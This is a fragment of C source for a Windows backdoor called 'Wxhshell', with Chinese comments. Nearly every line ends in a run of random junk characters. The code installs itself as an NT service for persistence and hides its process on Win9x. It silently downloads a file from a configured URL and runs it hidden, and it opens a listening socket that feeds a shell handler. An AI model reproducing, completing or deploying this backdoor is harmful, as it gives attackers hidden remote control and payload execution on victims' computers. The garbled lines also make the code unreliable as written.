ULONG InheritedFromUniqueProcessId; !58@pLJw
} PROCESS_BASIC_INFORMATION; !\.pq 2
^N{h3b8
PROCNTQSIP NtQueryInformationProcess; *]/zc1Q4M
wHMX=N1/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CD( :jM?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '=8d?aeF
MXNFlP
HANDLE hProcess; uH- l%17
PROCESS_BASIC_INFORMATION pbi; LR.<&m%~.
Fgh_9S9J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A1>OY^p3%
if(NULL == hInst ) return 0; B; h"lv
.jT#:_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9c,'k#k
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N.{H,oO `
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jgd'1'FOs
++Ts
if (!NtQueryInformationProcess) return 0; +V046goX W
9} M?P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?:I* 8Fj
if(!hProcess) return 0; hVAn>_(
NzOx0WLF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =BAW[%1b
( !fKNia@S
CloseHandle(hProcess); ""F5z,'
7XLtN "$$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J({Xg?
if(hProcess==NULL) return 0; RF4vtQC=
-23w2Qt
HMODULE hMod; >T3-
char procName[255]; {~"/Y@&]R
unsigned long cbNeeded;
mt p+rr
]e>w}L(gV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !_D0vI;
9YQb&
CloseHandle(hProcess); ^{;oM^Q'
Z<y I\1
if(strstr(procName,"services")) return 1; // 以服务启动 [KaAXv
.X
P& -Qc
return 0; // 注册表启动 <~'"<HwtK
} Wk4s reB
a PfO$b:
// 主模块 suiS&$-E
int StartWxhshell(LPSTR lpCmdLine) A,hJIe
{ sF?TmBQ*
SOCKET wsl; udUyh%n
BOOL val=TRUE; 6@ IXqKz
int port=0; BmMGx8P
struct sockaddr_in door; u9GQU
L<-_1!wh
if(wscfg.ws_autoins) Install(); FvXZ<(A{
\[_t]'p
port=atoi(lpCmdLine); a /l)qB#
0s3%Kqi[
if(port<=0) port=wscfg.ws_port; g:D>.lKd
|[ k.ii6iO
WSADATA data; ~>Fu5i $i
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L Mbn
[{<`o5qR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [-k
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x_6[P2"PP
door.sin_family = AF_INET; ?o4C;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2%@4]
door.sin_port = htons(port); Tx=-Bb~;
wb5baY9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8Pn#+IvCE
closesocket(wsl); %x{kc3PnO
return 1; m=A(NKZ
} >G*eNn
foF({4q7b^
if(listen(wsl,2) == INVALID_SOCKET) { ](9Xvy
closesocket(wsl); q?oP?cCw
return 1; wQH<gJE/:
} (*nT(Adk
Wxhshell(wsl); [.'|_l
WSACleanup(); <+Dn8
3<Zq ]jk?n
return 0;
bv9i*]
gG:Vt}N
} EQyC1j
LX7FaW
// 以NT服务方式启动 '4Ixqb+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Lh!8g=/
{ [.8BTj1%
DWORD status = 0; %C'?@,7C
DWORD specificError = 0xfffffff; YpZ+n*&+
fk[-mZ
serviceStatus.dwServiceType = SERVICE_WIN32; H*QIB_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^ft>@=K(|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YEs &
serviceStatus.dwWin32ExitCode = 0; R{3N&C
serviceStatus.dwServiceSpecificExitCode = 0; YX7L?=;.@
serviceStatus.dwCheckPoint = 0; *:YiimOY"
serviceStatus.dwWaitHint = 0; C'+YQ]u
EXwo,?I
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >CgTs
if (hServiceStatusHandle==0) return; 1i"WDu*h3
5k3n\sqZA
status = GetLastError(); <fjX[l<Uz
if (status!=NO_ERROR) |`f$tj
{ Z!#!Gu*V
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1onM j
serviceStatus.dwCheckPoint = 0; z8~NZ;A
serviceStatus.dwWaitHint = 0; \oXpi$
serviceStatus.dwWin32ExitCode = status; @ ZwvBH
serviceStatus.dwServiceSpecificExitCode = specificError; G5RR]?@6V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5C*Pd
Wpl
return; t#/YN.@r
} ZrxD`1L
P[#e/qnXu|
serviceStatus.dwCurrentState = SERVICE_RUNNING; trA4R/
&
serviceStatus.dwCheckPoint = 0; V>%rv'G8
serviceStatus.dwWaitHint = 0; V _/%b)*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e*(!^Q1
} B5VKs,g
Gg3,:A_ w
// 处理NT服务事件,比如:启动、停止 y$F'(b|)
VOID WINAPI NTServiceHandler(DWORD fdwControl) gX}8#O.K$
{ <#y[gTJ<'>
switch(fdwControl) yZ(zdM\/sL
{ gQelD6c
case SERVICE_CONTROL_STOP: [0[i5'K:
serviceStatus.dwWin32ExitCode = 0; D/B8tf+V
serviceStatus.dwCurrentState = SERVICE_STOPPED; eRstD>r
serviceStatus.dwCheckPoint = 0; VimE@ Hz
serviceStatus.dwWaitHint = 0; He/8=$c%
{ qu6D 5t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7qLpZ/
} C12Fl
return; %2/EaaR
case SERVICE_CONTROL_PAUSE: ks qQM
serviceStatus.dwCurrentState = SERVICE_PAUSED; `$<.pOm
break; m
3hrb-
case SERVICE_CONTROL_CONTINUE: 2K6qY)/_
serviceStatus.dwCurrentState = SERVICE_RUNNING; 3{^9]7UC
break; <X^@*79m
case SERVICE_CONTROL_INTERROGATE: 4 Y9`IgQ
break; /cdC'g
}; |`,2ri*5A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \fr~
} IH&|Tcf\
7P5)Z-K[
// 标准应用程序主函数 VT`^W Hu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gHEu/8E
{ Ugt/rf5n
gNrjo=
// 获取操作系统版本 [{,T.;'<j
OsIsNt=GetOsVer(); wY%}
GetModuleFileName(NULL,ExeFile,MAX_PATH); \?ZB]*Fu
sA/D]W.P
// 从命令行安装 "]x'PI 4J
if(strpbrk(lpCmdLine,"iI")) Install(); Y%aCMP9j~9
PfD.:amN7
// 下载执行文件 ~i{(<.he
if(wscfg.ws_downexe) { >d*@_kJM
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !bx;Ta.
WinExec(wscfg.ws_filenam,SW_HIDE); )Y0!~#
`
} .x.]`b(
")5":V~fN
if(!OsIsNt) { syj0.JD
// 如果时win9x,隐藏进程并且设置为注册表启动 l
-m fFN
HideProc(); {n.PF8A5X
StartWxhshell(lpCmdLine); El".I?E*
} 9Cp-qA%t
else )5JFfp)#
if(StartFromService()) |?xN\O^#}
// 以服务方式启动 EIAc@$4
StartServiceCtrlDispatcher(DispatchTable); M,,bf[p$
else SrJGTuXg
// 普通方式启动 -%CP@dAk
StartWxhshell(lpCmdLine); tBWrL{xLe
P [ck84F/
return 0; *?>T,gx}
}